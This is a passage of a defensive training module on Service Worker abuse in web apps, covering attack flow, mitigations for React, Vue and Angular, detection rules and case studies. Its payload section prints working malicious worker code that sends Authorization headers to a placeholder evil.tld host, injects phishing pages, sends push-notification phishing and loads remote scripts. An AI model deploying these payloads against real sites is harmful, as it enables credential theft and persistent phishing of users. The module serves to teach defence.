01 //Introduction
Service Worker abuse is the bug class where an attacker convinces the browser to install a persistent, scriptable proxy in front of your origin. The carrier is almost always a call to navigator.serviceWorker.register() that loads a JavaScript URL the attacker controls, either via a stored XSS that runs the registration directly, a file upload served from the app origin with a JavaScript Content-Type, a permissive Service-Worker-Allowed header on attacker-supplied content, or a subdomain takeover where a stale worker is still active on returning users. Once installed, the worker survives tab close, browser restart, password reset, and almost every remediation short of a manual navigator.serviceWorker.getRegistrations() sweep or a site-data wipe.
The bug class sits in a quiet seam of the web platform. Service Workers were added in 2015 to make offline-capable web apps feasible. They run in a separate thread, with no DOM, and the browser deliberately gives them broad authority: they sit between every HTTP request the page makes and the network, they can cache arbitrary responses, they can return fully synthesised responses, and they fire push and notificationclick events even when no tab is open. The same-origin policy is enforced (a worker can only be installed at its own origin), but within an origin the worker is essentially a man-in-the-middle with full read and write privileges over every fetch in scope. The W3C Service Worker spec and MDN are the canonical references; for the security model specifically, see the Secure Contexts requirement and the CSP worker-src directive.
.js served with the wrong Content-Type becomes a worker); (2) register() is called with a string built from user input or framework state; (3) the Service-Worker-Allowed response header is set permissively by a CDN config, letting a worker at /uploads/sw.js control /; (4) old workers from a previous incident, branding refresh, or framework migration are still installed in returning users because nobody called unregister(). Each one has produced disclosures in mainstream apps in the last three years.OWASP catalogues the related issues under user-controlled script execution and Content Security Policy, but Service Worker abuse rarely has its own CWE entry; the closest mappings are CWE-494 (Download of Code Without Integrity Check) for the registration path and CWE-345 (Insufficient Verification of Data Authenticity) for the post-install behaviour. The defensive recipe is consistent across frameworks: register workers only from a single hard-coded path under your control, host user uploads on a separate origin, set Content-Type strictly (never text/javascript for user content), enforce X-Content-Type-Options: nosniff, ship a CSP that pins worker-src 'self', and have a documented incident response that calls getRegistrations() and unregister() on every client when the worker JS is suspected compromised. This module walks through the attack surface, the canonical payloads, and the per-framework fix that closes the bug class properly.
A file-sharing app serves user uploads from https://app.tld/uploads/<file> and uses Content-Type sniffing. An attacker uploads sw.js containing self.addEventListener('fetch', e => e.respondWith(fetch('https://evil.tld' + e.request.url))). The app then renders a profile page that contains <script>navigator.serviceWorker.register('/uploads/sw.js')</script> via stored XSS. What does the victim experience?
02 //The Attack Flow
Every service worker abuse follows the same four-stage flow: the attacker plants a JavaScript file at a URL the application origin will serve as JavaScript, the victim's browser triggers navigator.serviceWorker.register() against that URL, the worker installs at the deepest path containing the script (or wider if Service-Worker-Allowed is set), and the worker then runs across every future visit until something explicitly removes it. The persistence is the part that makes the bug class qualitatively different from XSS: a worker installed during a thirty-second XSS window keeps running long after the XSS is patched.
sw.js via file upload, finds a stored XSS, or hijacks a CDN pathnavigator.serviceWorker.register('/uploads/sw.js') runs in victim's tabfetch in scopeA service worker is the only client-side primitive that persists across tab closes. Once registered, it lives until the browser garbage-collects it or your application explicitly calls unregister(). An XSS that lasts thirty seconds becomes a worker that lasts months and survives password resets, session expiry, and almost every remediation short of clearing site data. The blast radius is not the page that loaded the script, it is every future visit to anything in scope.
The shape of a realistic exploit depends on what the attacker controls. The classic chain is a stored XSS that runs register() with a same-origin URL the attacker can write to, but the bug class extends to several adjacent shapes: user uploads served as JavaScript, CDN paths overridden via cache poisoning, subdomain takeovers where the old worker is still installed in returning users, and dependency confusion where a build script bundles an attacker-controlled package whose initialisation calls register(). The reviewer's job is to enumerate every byte sequence under the origin that the browser could load as JavaScript, and every code path that could call register() with a URL that is not a hard-coded constant.
Common Sink Surfaces in Real Applications
| Where worker installs come from | Typical attacker payload |
|---|---|
| Stored XSS that calls register() | Reflected JS that registers a same-origin script |
| File uploads served from the app origin | Uploaded sw.js with text/javascript content type |
| register(userInputUrl) with user-controlled path | Path traversal or open redirect into attacker-controlled JS |
| Compromised CDN serving /static/sw.js | Replaced bundle that adds fetch interception |
| Subdomain takeover (old worker still installed) | Reclaimed origin re-serves a new attacker sw.js to existing clients |
| Dependency confusion in build pipeline | Malicious npm package that calls register() in its init code |
| importScripts() inside an existing worker | Attacker URL loaded by a permissive importScripts call |
| Stale worker after security incident | Original incident patched, but installed workers were never unregistered |
https://app.tld/uploads/<file>, often behind a CDN. That choice is ergonomic (no CORS, no extra domain, simple auth) but it puts user-controlled bytes on the same origin as the app shell. Every file upload becomes a potential service worker script if the Content-Type is wrong, if MIME sniffing is on, or if a single XSS lets the attacker pick the registration URL. The robust pattern is to host user content on a separate, sandboxed origin (app-uploads.tld or app-usercontent.com), which structurally prevents the worker from installing against the app origin.1// VULNERABLE, the registration URL is built from a query parameter.
2// The attacker submits ?sw=/uploads/sw.js and the application registers
3// an attacker-supplied script at the deepest scope that contains it.
4
5// BAD, never derive register() input from user data.
6const swUrl = new URL(window.location.href).searchParams.get('sw') || '/sw.js';
7
8if ('serviceWorker' in navigator) {
9 // BAD, the path is user-influenced, no allow-list, no integrity check.
10 navigator.serviceWorker.register(swUrl, { scope: '/' });
11}
12
13// A stored XSS that reaches the page once is enough to permanently install
14// a worker. The user can close the tab; the worker survives. The next visit,
15// the worker is already controlling the page before any of your code runs.The team patches the XSS that allowed register() to be called with attacker input. A pentester reports that returning users still have the malicious worker installed weeks later. Why is that a separate fix, and what does it tell you about the original review?
03 //Payload Anatomy & Trigger Patterns
A service worker becomes an abuse primitive the moment its script comes from a byte sequence the attacker influenced. The defensive bytes are the registration URL (must be a fixed, version-controlled constant), the Content-Type response header on the script URL (must be a JavaScript MIME type only on URLs you trust), X-Content-Type-Options: nosniff on every response, and the CSP worker-src directive on the controlling document. Once installed, the worker runs with full fetch interception authority inside its scope; the spec gives it no DOM access, but it can synthesise responses for any URL in scope, which is functionally equivalent to a persistent man-in-the-middle.
- Any stored XSS that can call
navigator.serviceWorker.register() - File uploads served from your origin without a strict
Content-Type - User-controlled paths reflected into
register(userInput) - Compromised CDN or hosting bucket serving JS from your origin
importScripts()inside an existing worker pulling from a permissive URL- Subdomain takeover where an old
sw.jsis still cached at scope
- User-content domains served from the same origin as the app (no
Service-Worker-Allowedreview) - Staging or preview subdomains that share session cookies with prod
Service-Worker-Allowedresponse header expanding scope above the script path- Old workers still installed in returning users after a security incident
navigator.serviceWorker.controllermessages trusted as same-origin- Push subscription endpoints that survive the user logging out
If any byte sequence under your origin can be served with Content-Type: text/javascript (or application/javascript), treat that byte sequence as a potential service worker. Combine with any code path that calls register() with a partially user-controlled URL, and you have a full chain. The right baseline is: workers only register from a fixed, version-controlled path, uploads never share the app origin, and CSP worker-src 'self' is enforced.
Payload Catalogue, What an Attacker Actually Writes
| Payload (inside the malicious worker) | Effect | Mitigation that defeats it |
|---|---|---|
| self.addEventListener("fetch", e => e.respondWith(new Response(phishingHtml, { headers: { "Content-Type": "text/html" } }))) | Returns synthesised HTML for any in-scope navigation; visually indistinguishable from real responses | Worker script never reaches origin: strict registration path, separate user-content origin, CSP worker-src self |
| self.addEventListener("fetch", e => { fetch("https://evil.tld/log", { method: "POST", body: e.request.url + "\n" + e.request.headers.get("authorization") }); e.respondWith(fetch(e.request)); }) | Exfiltrates every URL and Authorization header before passing the request through; victim sees no change | Same defense; layered with CSP connect-src to block evil.tld at the CSP layer |
| self.addEventListener("fetch", e => { if (e.request.url.endsWith("/api/me")) e.respondWith(new Response(JSON.stringify({admin: true}))); }) | Targeted response rewriting; client-side privilege escalation in SPAs that trust /api/me | Same defense; server-side authorisation is always the source of truth, never trust SPA state |
| self.addEventListener("push", e => self.registration.showNotification("Account locked", { data: "https://evil.tld/unlock" })) | Persistent phishing via push notifications even when no tab is open | Require explicit user gesture to subscribe; verify push subscriptions server-side; rotate VAPID keys on incident |
| self.addEventListener("install", () => caches.open("v1").then(c => c.addAll([...lots of URLs...]))) | Cache poisoning, pre-fetches and stores attacker-controlled responses for in-scope URLs | Same defense; on incident response ship a kill-switch worker that clears caches and unregisters |
| importScripts("https://evil.tld/payload.js") | Loads cross-origin code into the worker context; CSP can or cannot block depending on directive | Strict CSP worker-src self; ban importScripts in code review or restrict to self URLs only |
| self.addEventListener("message", e => e.source.postMessage(localStorageStolen)) | Worker as cross-tab message relay; combined with content scripts can read across same-origin tabs | Worker should not be a trust boundary; treat workers as untrusted by the rest of the app |
| self.skipWaiting() + clients.claim() | Immediately replaces any existing worker and takes control of every open tab, even without reload | Defense in depth, the registration itself is the failure; once you trust the script, skipWaiting is normal |
1// 1) Credential exfiltration, the canonical proof-of-concept.
2// Logs every Authorization header to an attacker endpoint while
3// passing the request through transparently, so the user sees nothing.
4self.addEventListener('fetch', (event) => {
5 const auth = event.request.headers.get('authorization');
6 if (auth) {
7 fetch('https://evil.tld/x', {
8 method: 'POST',
9 body: JSON.stringify({ url: event.request.url, auth }),
10 // keepalive so the exfil request survives navigation
11 keepalive: true,
12 }).catch(() => {});
13 }
14 event.respondWith(fetch(event.request));
15});
16
17// 2) Phishing page injection on a specific route.
18// The victim navigates to /account, the worker returns a pixel-perfect
19// clone served from the cache. URL bar still shows app.tld.
20self.addEventListener('fetch', (event) => {
21 if (new URL(event.request.url).pathname === '/account') {
22 event.respondWith(
23 caches.match('/payloads/account-phish.html').then(
24 (r) => r || fetch(event.request),
25 ),
26 );
27 }
28});
29
30// 3) Persistent push-based phishing.
31// Worker keeps running after every tab closes; push events from the
32// attacker server show notifications that link to a phishing URL.
33self.addEventListener('push', (event) => {
34 const data = event.data?.json() ?? {};
35 event.waitUntil(
36 self.registration.showNotification(data.title || 'Security alert', {
37 body: data.body || 'Please re-verify your account',
38 data: { url: data.url || 'https://evil-clone.tld/verify' },
39 }),
40 );
41});
42self.addEventListener('notificationclick', (event) => {
43 event.notification.close();
44 event.waitUntil(clients.openWindow(event.notification.data.url));
45});/sw.js controls the entire origin. A worker registered from /static/sw.js controls only /static/, unless the response includes Service-Worker-Allowed: /, which widens the scope to the value of that header. Reviewers see register('/static/sw.js') and assume the scope is /static/, but a permissive CDN config that adds Service-Worker-Allowed: / silently expands the blast radius to the whole origin. Audit the response headers, not just the request URL.A reviewer suggests blocking JavaScript Content-Type on user uploads. A teammate replies 'that is not enough, browsers MIME-sniff and serve uploaded files as JS even when we send Content-Type: application/octet-stream'. Who is right and what is the minimal correct rule?
04 //Mitigation Patterns
There are five correct mitigations, in rough order of preference. Register workers only from a single, hard-coded URL under your control; host user uploads on a separate origin; set strict response headers on every script-serving path (Content-Type, X-Content-Type-Options: nosniff, Service-Worker-Allowed only where intentional); ship a CSP with worker-src 'self' and ideally script-src hashes; and document an incident-response runbook that includes a kill-switch worker. Each one is a few lines of code or config; the discipline is to apply them at every layer, not just the bundler.
Mitigation Options at a Glance
| Strategy | How | When to use |
|---|---|---|
| Hard-coded registration URL | navigator.serviceWorker.register("/sw.js"), no template literals, no user input | Always. This is the primary control; banning dynamic registration paths in lint is the durable enforcement. |
| Separate origin for user content | Serve uploads from app-usercontent.tld; never share session cookies; never share an origin with the SPA | Every application that accepts file uploads, profile images, exported reports, anything user-generated. |
| X-Content-Type-Options: nosniff (everywhere) | Server-set HTTP response header that disables browser MIME sniffing | Every response from your origin, full stop. Especially the script-serving paths and any user-content endpoint. |
| CSP worker-src 'self' | Content-Security-Policy: worker-src 'self'; script-src 'self' 'sha256-...' | Every authenticated document. Backstops missed Content-Type or accidental same-origin script paths. |
| Kill-switch worker for incident response | Deploy a minimal sw.js whose install handler calls self.registration.unregister() and caches.delete() | Have it written and tested before you need it. Push at the moment a worker compromise is suspected. |
| Subresource Integrity on registration URL | No native SRI for service workers; pin via versioned URL (/sw-v17.js) and audit on every release | High-trust apps. Worker JS goes through code review and CI signing like any other production code. |
1// lib/register-sw.ts, the only allowed entry point for service worker registration.
2//
3// Strategy: register from a fixed, version-controlled URL; pin scope explicitly;
4// log registration outcomes; surface failures so they are not silently swallowed.
5// A lint rule bans direct navigator.serviceWorker.register calls elsewhere.
6
7const SW_URL = '/sw.js';
8const SW_SCOPE = '/';
9
10export async function registerServiceWorker(): Promise<void> {
11 if (typeof navigator === 'undefined' || !('serviceWorker' in navigator)) {
12 return;
13 }
14 // Defensive: do not register if the current origin does not look like ours.
15 // A leaked register helper running on an attacker mirror should refuse.
16 const EXPECTED_ORIGIN = 'https://app.tld';
17 if (window.location.origin !== EXPECTED_ORIGIN) {
18 return;
19 }
20 try {
21 const reg = await navigator.serviceWorker.register(SW_URL, {
22 scope: SW_SCOPE,
23 // type: 'module' if you ship an ES module worker, kept explicit on purpose.
24 type: 'classic',
25 updateViaCache: 'none',
26 });
27 // updateViaCache:'none' forces the browser to revalidate the worker script
28 // on every load, so an attacker who poisons the cache for a few minutes
29 // does not get a permanent hold.
30 void reg;
31 } catch (err) {
32 // Never silently fail; route to your client-side logger.
33 reportError(err);
34 }
35}
36
37// EVERY caller goes through registerServiceWorker(). Lint bans navigator.serviceWorker.register
38// anywhere else in the codebase. The URL is a constant; user input cannot reach it.updateViaCache: 'none' at registration forces the browser to bypass the HTTP cache for the worker script itself; you can still cache the worker's sub-resources normally. The cost is one extra conditional request per page load; the benefit is that a compromised worker can be replaced by the next page load instead of waiting for the cache TTL.1// public/sw.js, the contents you deploy when you need to evict every installed worker.
2//
3// Replaces whatever was previously installed at the same URL; the install
4// handler unregisters this registration and clears all caches; the result is
5// that every returning client cleans itself up on next visit and is then free
6// of any prior worker, including any malicious one.
7
8self.addEventListener('install', (event) => {
9 // skipWaiting so this kill-switch activates immediately, replacing any
10 // existing worker without waiting for all tabs to close.
11 self.skipWaiting();
12});
13
14self.addEventListener('activate', (event) => {
15 event.waitUntil(
16 (async () => {
17 // Delete every cache the previous worker created.
18 const keys = await caches.keys();
19 await Promise.all(keys.map((k) => caches.delete(k)));
20 // Unregister this worker so the origin is fully unworkered after activation.
21 await self.registration.unregister();
22 // Force every controlled client to reload, picking up the clean state.
23 const clients = await self.clients.matchAll({ type: 'window' });
24 for (const c of clients) c.navigate(c.url);
25 })(),
26 );
27});
28
29// Do NOT add a fetch handler. The kill-switch must be the simplest possible
30// worker; every extra event handler is an opportunity for a bug that prolongs
31// the incident.1// composables/useServiceWorker.ts
2import { onMounted } from 'vue';
3
4const SW_URL = '/sw.js';
5const SW_SCOPE = '/';
6const EXPECTED_ORIGIN = 'https://app.tld';
7
8export function useServiceWorker() {
9 onMounted(async () => {
10 if (!('serviceWorker' in navigator)) return;
11 if (window.location.origin !== EXPECTED_ORIGIN) return;
12 try {
13 await navigator.serviceWorker.register(SW_URL, {
14 scope: SW_SCOPE,
15 type: 'classic',
16 updateViaCache: 'none',
17 });
18 } catch (err) {
19 console.error('[sw] registration failed', err);
20 }
21 });
22}
23
24// Mounted in App.vue setup(); no template-level access to register().
25// ESLint rule no-restricted-syntax bans navigator.serviceWorker.register
26// outside this file.1// app/sw.provider.ts
2import { APP_INITIALIZER, FactoryProvider } from '@angular/core';
3
4const SW_URL = '/sw.js';
5const SW_SCOPE = '/';
6const EXPECTED_ORIGIN = 'https://app.tld';
7
8export const SW_PROVIDER: FactoryProvider = {
9 provide: APP_INITIALIZER,
10 useFactory: () => async () => {
11 if (!('serviceWorker' in navigator)) return;
12 if (window.location.origin !== EXPECTED_ORIGIN) return;
13 try {
14 await navigator.serviceWorker.register(SW_URL, {
15 scope: SW_SCOPE,
16 type: 'classic',
17 updateViaCache: 'none',
18 });
19 } catch (err) {
20 console.error('[sw] registration failed', err);
21 }
22 },
23 multi: true,
24 deps: [],
25};
26
27// Bootstrapped in app.config.ts providers. No other code path may call
28// navigator.serviceWorker.register; @angular-eslint enforces this.1// app/sw-register.tsx, mounted once in app/layout.tsx so the registration
2// fires exactly one time per origin per browser session.
3
4'use client';
5
6import { useEffect } from 'react';
7
8const SW_URL = '/sw.js';
9const SW_SCOPE = '/';
10const EXPECTED_ORIGIN = 'https://app.tld';
11
12export function SwRegister() {
13 useEffect(() => {
14 if (!('serviceWorker' in navigator)) return;
15 if (window.location.origin !== EXPECTED_ORIGIN) return;
16 navigator.serviceWorker
17 .register(SW_URL, {
18 scope: SW_SCOPE,
19 type: 'classic',
20 updateViaCache: 'none',
21 })
22 .catch((err) => console.error('[sw] registration failed', err));
23 }, []);
24 return null;
25}
26
27// next.config.js sets the response headers on /sw.js:
28// { source: '/sw.js', headers: [
29// { key: 'Content-Type', value: 'application/javascript' },
30// { key: 'X-Content-Type-Options', value: 'nosniff' },
31// { key: 'Cache-Control', value: 'no-cache' },
32// ] }1// next.config.js (or equivalent server config)
2// Strict headers on every script-serving response, especially the worker URL.
3
4module.exports = {
5 async headers() {
6 return [
7 {
8 // The worker script itself.
9 source: '/sw.js',
10 headers: [
11 { key: 'Content-Type', value: 'application/javascript; charset=utf-8' },
12 { key: 'X-Content-Type-Options', value: 'nosniff' },
13 { key: 'Cache-Control', value: 'no-cache, must-revalidate' },
14 // Only widen scope if you absolutely need to. Most apps do NOT.
15 // { key: 'Service-Worker-Allowed', value: '/' },
16 ],
17 },
18 {
19 // Everything else, defense-in-depth nosniff.
20 source: '/:path*',
21 headers: [
22 { key: 'X-Content-Type-Options', value: 'nosniff' },
23 {
24 key: 'Content-Security-Policy',
25 value:
26 "default-src 'self'; script-src 'self'; worker-src 'self'; " +
27 "connect-src 'self'; frame-ancestors 'none'; base-uri 'none';",
28 },
29 ],
30 },
31 {
32 // User content lives on a separate origin in this example.
33 // If you must serve it from /uploads/, force a non-renderable type
34 // and add Content-Disposition: attachment.
35 source: '/uploads/:path*',
36 headers: [
37 { key: 'Content-Type', value: 'application/octet-stream' },
38 { key: 'X-Content-Type-Options', value: 'nosniff' },
39 { key: 'Content-Disposition', value: 'attachment' },
40 { key: 'Cache-Control', value: 'private, no-store' },
41 ],
42 },
43 ];
44 },
45};navigator.serviceWorker.register call. The helper is twenty lines of code. The discipline is what closes the bug class; every new worker registration must go through it, and code review enforces that.A developer says 'our CSP has script-src self, so an attacker cannot register a malicious worker because the script tag is blocked'. Why is that not enough?
05 //Format-Specific Concerns: Uploads, CDNs, and Subdomains
Adding a strict registration helper in your own code is necessary but not sufficient. Service worker abuse has several deployment-level subtleties that produce real, exploitable bypasses: same-origin user uploads, subdomain takeovers where stale workers are still installed, CDN cache configurations that ignore updateViaCache, dependency confusion in build pipelines, and PWA install prompts that legitimise an attacker landing page. Each one has produced disclosures in mainstream apps. A reviewer looking only at the registration call site will miss them.
Per-Surface Behaviour and Required Defense
| Surface | Bypass pattern | Correct defense |
|---|---|---|
| User uploads on the app origin | Uploaded sw.js served with text/javascript becomes a registrable worker | Host on a separate origin (app-usercontent.tld); force application/octet-stream + nosniff + Content-Disposition: attachment |
| Subdomain takeovers | Old subdomain (blog.app.tld) hosted a worker; new owner serves replacement sw.js; existing browsers still register | Inventory all sub-origins that ever hosted a worker; ship a kill-switch from the original origin before decommissioning; monitor DNS for dangling records |
| CDN edge caching the worker script | CDN ignores updateViaCache:'none' or caches the worker for hours; a compromised worker lives until cache TTL expires | Set Cache-Control: no-cache on /sw.js at origin AND at the CDN; verify with a controlled rotation test |
| Service-Worker-Allowed header widens scope | Worker at /static/sw.js with Service-Worker-Allowed: / silently controls the whole origin | Audit the response headers, not just the path; ban Service-Worker-Allowed unless intentional with a documented justification |
| Dependency confusion in build pipeline | A malicious npm package executes navigator.serviceWorker.register in its init code at app load | Pin all dependencies; review every new package; enable provenance attestations; CSP worker-src self as backstop |
| Stale workers after an incident | XSS that allowed worker install is patched; installed workers still control returning users | Deploy a kill-switch worker at the same URL; monitor registration counts; bake a version-bump + unregister-old flow into every release |
| PWA install prompt on an attacker landing page | Attacker hosts content on a takeover subdomain that prompts to install; legitimised origin then registers more workers | Restrict manifest scope; do not share session state across all subdomains; subdomain inventory and DNS hygiene |
1// lib/uploads.js, contract for every file upload endpoint.
2//
3// Strategy: never serve user content from the app origin. Generate a separate
4// origin (app-usercontent.tld) with no shared cookies and a tight CSP that
5// disallows the page from registering workers at all.
6// The uploads response always carries Content-Disposition: attachment and a
7// non-renderable Content-Type, with X-Content-Type-Options: nosniff.
8
9import { randomUUID } from 'crypto';
10
11const UPLOAD_ORIGIN = 'https://app-usercontent.tld';
12
13export function buildUploadUrl(id: string): string {
14 // Path encodes only the opaque ID; never any user-supplied name.
15 return `${UPLOAD_ORIGIN}/o/${encodeURIComponent(id)}`;
16}
17
18export function uploadResponseHeaders(originalName: string): Record<string, string> {
19 // Quote-escape the filename for Content-Disposition; never inline.
20 const safeName = originalName.replace(/[^\w.-]+/g, '_');
21 return {
22 'Content-Type': 'application/octet-stream',
23 'X-Content-Type-Options': 'nosniff',
24 'Content-Disposition': `attachment; filename="${safeName}"`,
25 'Cache-Control': 'private, no-store',
26 // CSP that prevents the upload origin from registering workers at all.
27 'Content-Security-Policy':
28 "default-src 'none'; sandbox; worker-src 'none';",
29 };
30}
31
32// On the app origin: never proxy uploads through a path under your own domain.
33// Always redirect to UPLOAD_ORIGIN, even for download flows.blog.app.tld in 2023 keeps running in 2026 if the worker JS is still being served and the browser has not garbage-collected the registration. If the subdomain is decommissioned, the registration falls dormant. If the subdomain is later taken over by an attacker (expired DNS, abandoned hosting tenant, lapsed cloud account), the attacker serves a new sw.js at the original URL, and every existing browser registration updates to the attacker version on next visit. The fix is two-step: ship a kill-switch from any origin before you decommission it, and keep a DNS inventory that flags dangling records.1// auth/push.ts, push subscriptions tied to server-side session state.
2//
3// The naive pattern subscribes the worker to push, stores the subscription
4// somewhere client-side, and forgets about it. The subscription survives
5// logout. The fix is to mint subscriptions server-side, store the endpoint
6// against the current session, and unsubscribe at logout AND at password reset.
7
8import { safeFetch } from '../lib/safe-fetch';
9
10export async function subscribeToPush(): Promise<void> {
11 const reg = await navigator.serviceWorker.ready;
12 const VAPID_PUBLIC_KEY = 'BLh...' /* fetched from a trusted endpoint */;
13 const sub = await reg.pushManager.subscribe({
14 userVisibleOnly: true,
15 applicationServerKey: VAPID_PUBLIC_KEY,
16 });
17 // Bind to the current session server-side so logout invalidates it.
18 await safeFetch('/api/push/subscribe', {
19 method: 'POST',
20 body: JSON.stringify(sub.toJSON()),
21 headers: { 'Content-Type': 'application/json' },
22 });
23}
24
25export async function unsubscribeFromPush(): Promise<void> {
26 const reg = await navigator.serviceWorker.ready;
27 const sub = await reg.pushManager.getSubscription();
28 if (sub) {
29 await sub.unsubscribe();
30 await safeFetch('/api/push/unsubscribe', { method: 'POST' });
31 }
32}
33
34// Wire unsubscribeFromPush into logout, password reset, and account deletion.
35// Treat push as a privileged channel that follows the session lifecycle.A pentester reports that uploading a file named profile.js to /uploads/ and triggering navigator.serviceWorker.register('/uploads/profile.js') via stored XSS installs a worker. Your team responds by adding a filename allow-list that rejects .js. Two weeks later, the same exploit works with profile.png served by a backend that runs Content-Type sniffing in some legacy code path. What is the correct fix?
06 //Detection in Code Review
Service worker abuse has a narrow, well-known surface: every call to navigator.serviceWorker.register, every importScripts inside a worker, every response that could be served as JavaScript, and every CSP that does not pin worker-src. Grep gets you most of the way; the rest is reading the response headers (Content-Type, nosniff, Service-Worker-Allowed, Cache-Control) on every URL that the registration call could resolve to. SAST tools have uneven coverage; the better tooling treats register() as a tainted-flow sink and flags any non-constant first argument.
1# Find every service worker registration site. Each one is a place to verify
2# the URL is a hard-coded constant and the scope is intentional.
3
4# JS / TS / JSX / TSX / Vue
5rg -n "navigator\.serviceWorker\.register" --type-add 'web:*.{js,jsx,ts,tsx,vue,svelte}' -t web
6
7# register() with a non-string-literal first argument, the smell
8rg -nP "navigator\.serviceWorker\.register\([^'"\`]" --type-add 'web:*.{js,jsx,ts,tsx,vue,svelte}' -t web
9
10# importScripts inside worker code, every call needs a hard-coded URL
11rg -n "importScripts\s*\("
12
13# Service-Worker-Allowed headers, often a scope-widening mistake
14rg -nE 'Service-Worker-Allowed'
15
16# Look at every file-serving / upload path for missing nosniff
17rg -nE "X-Content-Type-Options" -l | sort -u
18
19# Find missing worker-src in CSP definitions
20rg -n 'Content-Security-Policy' | rg -v 'worker-src'
21
22# Confirm the right pattern, a shared helper
23rg -n 'registerServiceWorker\b|SwRegister\b'
24
25# Audit user-content paths on the app origin
26rg -n "/uploads/|/user-content/|/static/uploads/"SAST / Linter Coverage
| Tool | Rule | Catches |
|---|---|---|
| eslint (custom) | no-restricted-syntax against navigator.serviceWorker.register outside lib/register-sw.ts | Direct register() calls anywhere else in the codebase; forces every site through the helper |
| Semgrep | javascript.lang.security.audit.tainted-service-worker-url | register() with a first argument derived from window.location, params, or any tainted source |
| CodeQL | js/dom-based-xss family extended with a custom worker-url sink | Tainted-flow into navigator.serviceWorker.register; custom query for missing CSP worker-src |
| Snyk Code | CWE-494 family | Multi-language detection of dynamic registration URLs and importScripts from non-constant sources |
| Mozilla Observatory | Header scoring | Missing X-Content-Type-Options, missing CSP worker-src, missing Cache-Control on /sw.js |
| csp-evaluator.withgoogle.com | CSP review | Missing or permissive worker-src; script-src self that does not also constrain workers |
1# semgrep-rules/service-worker-abuse.yaml
2rules:
3 - id: service-worker-dynamic-url
4 languages: [javascript, typescript]
5 severity: ERROR
6 message: >-
7 navigator.serviceWorker.register() must take a hard-coded string literal.
8 A user-influenced URL is a worker-install primitive, and the worker
9 persists across tab close. Route every registration through
10 lib/register-sw.ts.
11 patterns:
12 - pattern-either:
13 - pattern: navigator.serviceWorker.register($URL, ...)
14 - pattern-not: navigator.serviceWorker.register("...", ...)
15 - pattern-not-inside: |
16 // lib/register-sw.ts
17 ...
18 metadata:
19 cwe: 'CWE-494'
20 owasp: 'A08:2021 - Software and Data Integrity Failures'
21
22 - id: importscripts-dynamic-url
23 languages: [javascript, typescript]
24 severity: ERROR
25 message: >-
26 importScripts(...) must take hard-coded same-origin URLs only. A
27 dynamically built URL inside a worker is equivalent to remote code load
28 with no integrity check.
29 patterns:
30 - pattern-either:
31 - pattern: importScripts($URL)
32 - pattern-not: importScripts("/...")
33 metadata:
34 cwe: 'CWE-494'
35
36 - id: service-worker-allowed-header
37 languages: [generic]
38 paths:
39 include:
40 - '*.conf'
41 - '*.config.js'
42 - '*.ts'
43 severity: WARNING
44 message: >-
45 Service-Worker-Allowed widens the worker scope above the script path.
46 Verify the wider scope is intentional and documented.
47 pattern: |
48 Service-Worker-Allowedregister() called with a hard-coded string literal? (2) Is the worker URL served with Content-Type: application/javascript AND X-Content-Type-Options: nosniff AND Cache-Control: no-cache? (3) Is Service-Worker-Allowed absent unless explicitly intentional? (4) Does the CSP include worker-src 'self' (and ideally script-src hashes)? (5) Are user uploads on a separate origin, or at minimum nosniff + Content-Disposition: attachment + non-renderable Content-Type? (6) Is there a documented kill-switch worker ready to deploy? (7) Does logout / password reset call unsubscribeFromPush and consider unregister()? Any "no" is a finding.1// __tests__/register-sw.spec.ts, characterisation test that catches
2// regressions every time someone touches
3// the registration helper.
4import { registerServiceWorker } from '../lib/register-sw';
5
6describe('registerServiceWorker', () => {
7 beforeEach(() => {
8 Object.defineProperty(window, 'location', {
9 value: { origin: 'https://app.tld' },
10 writable: true,
11 });
12 });
13
14 it('registers /sw.js with scope / and updateViaCache none', async () => {
15 const register = jest.fn().mockResolvedValue({});
16 Object.defineProperty(navigator, 'serviceWorker', {
17 value: { register },
18 configurable: true,
19 });
20 await registerServiceWorker();
21 expect(register).toHaveBeenCalledWith('/sw.js', {
22 scope: '/',
23 type: 'classic',
24 updateViaCache: 'none',
25 });
26 });
27
28 it('refuses to register on an unexpected origin (e.g., attacker mirror)', async () => {
29 Object.defineProperty(window, 'location', {
30 value: { origin: 'https://attacker-mirror.tld' },
31 writable: true,
32 });
33 const register = jest.fn();
34 Object.defineProperty(navigator, 'serviceWorker', {
35 value: { register },
36 configurable: true,
37 });
38 await registerServiceWorker();
39 expect(register).not.toHaveBeenCalled();
40 });
41});A code review finds 4 different register() call sites across the codebase, each with slightly different scope and update options. The team lead suggests collapsing them into a single registerServiceWorker() helper, banning direct navigator.serviceWorker.register in lint, and pinning the URL to a constant. Is that a good control?
07 //Real-World Case Studies
Service worker abuse has a short but instructive disclosure history. The pattern is monotonous: a major site shares an origin between the application and user uploads (or has a permissive CDN config), a researcher demonstrates worker registration via stored XSS or upload, the vendor ships a separation-of-origins fix and a kill-switch, and the next disclosure is on an adjacent surface in the same product. The interesting part is how often the long tail of the bug (already-installed workers in returning users) is mishandled, leading to "we fixed the XSS but compromised users stay compromised" follow-ups.
- The original service worker abuse research (2016-2017), security researchers Daniel Veditz and Mike West among others documented the persistence properties and recommended scope, CSP worker-src, and origin separation as the canonical controls. Most of the disclosures that followed are direct applications of these recommendations.
- Open-source forums and self-hosted apps (2018-2020), multiple disclosures against self-hosted forum software, wiki engines, and pastebin clones where uploaded content was served from the app origin. The fix in every case was to move uploads to a separate origin or to harden Content-Type and nosniff headers; the slow part was unregistering already-installed malicious workers from returning users.
- SaaS file-sharing platforms (2019-2022), several large file-sharing apps shared an origin between the SPA and uploaded files. Researchers demonstrated that an authenticated upload of
sw.jsfollowed by a click of a sharing link could install a worker that read every file the user opened. The vendor responses moved user content to a dedicated origin (*.usercontent.tld) and shipped CSPworker-src 'self'on the app origin. - Browser PWA install abuse (2020-2022), attackers used spear-phishing to convince users to install a PWA from an attacker domain. Once installed, the PWA registered a worker on the attacker origin, which then mounted long-lived push-notification phishing. Browser vendors tightened the install heuristics and added stricter user-gesture requirements, but the root cause (user trust in PWA installs) is partially a UX problem.
- Cache poisoning + service worker chains (2021-2023), where a CDN cache misconfiguration allowed an attacker to plant a malicious response at the worker URL for a short window. The worker then installed in any client that registered during that window and persisted indefinitely. The fix in every case was a kill-switch worker and stricter cache-control on the worker URL (
no-cache,must-revalidate, andupdateViaCache: 'none'at registration). - Subdomain-takeover service worker incidents (2022-2024), decommissioned subdomains where an old worker was still installed in returning users. Attackers reclaimed the subdomain (expired DNS, abandoned cloud tenant) and served a new
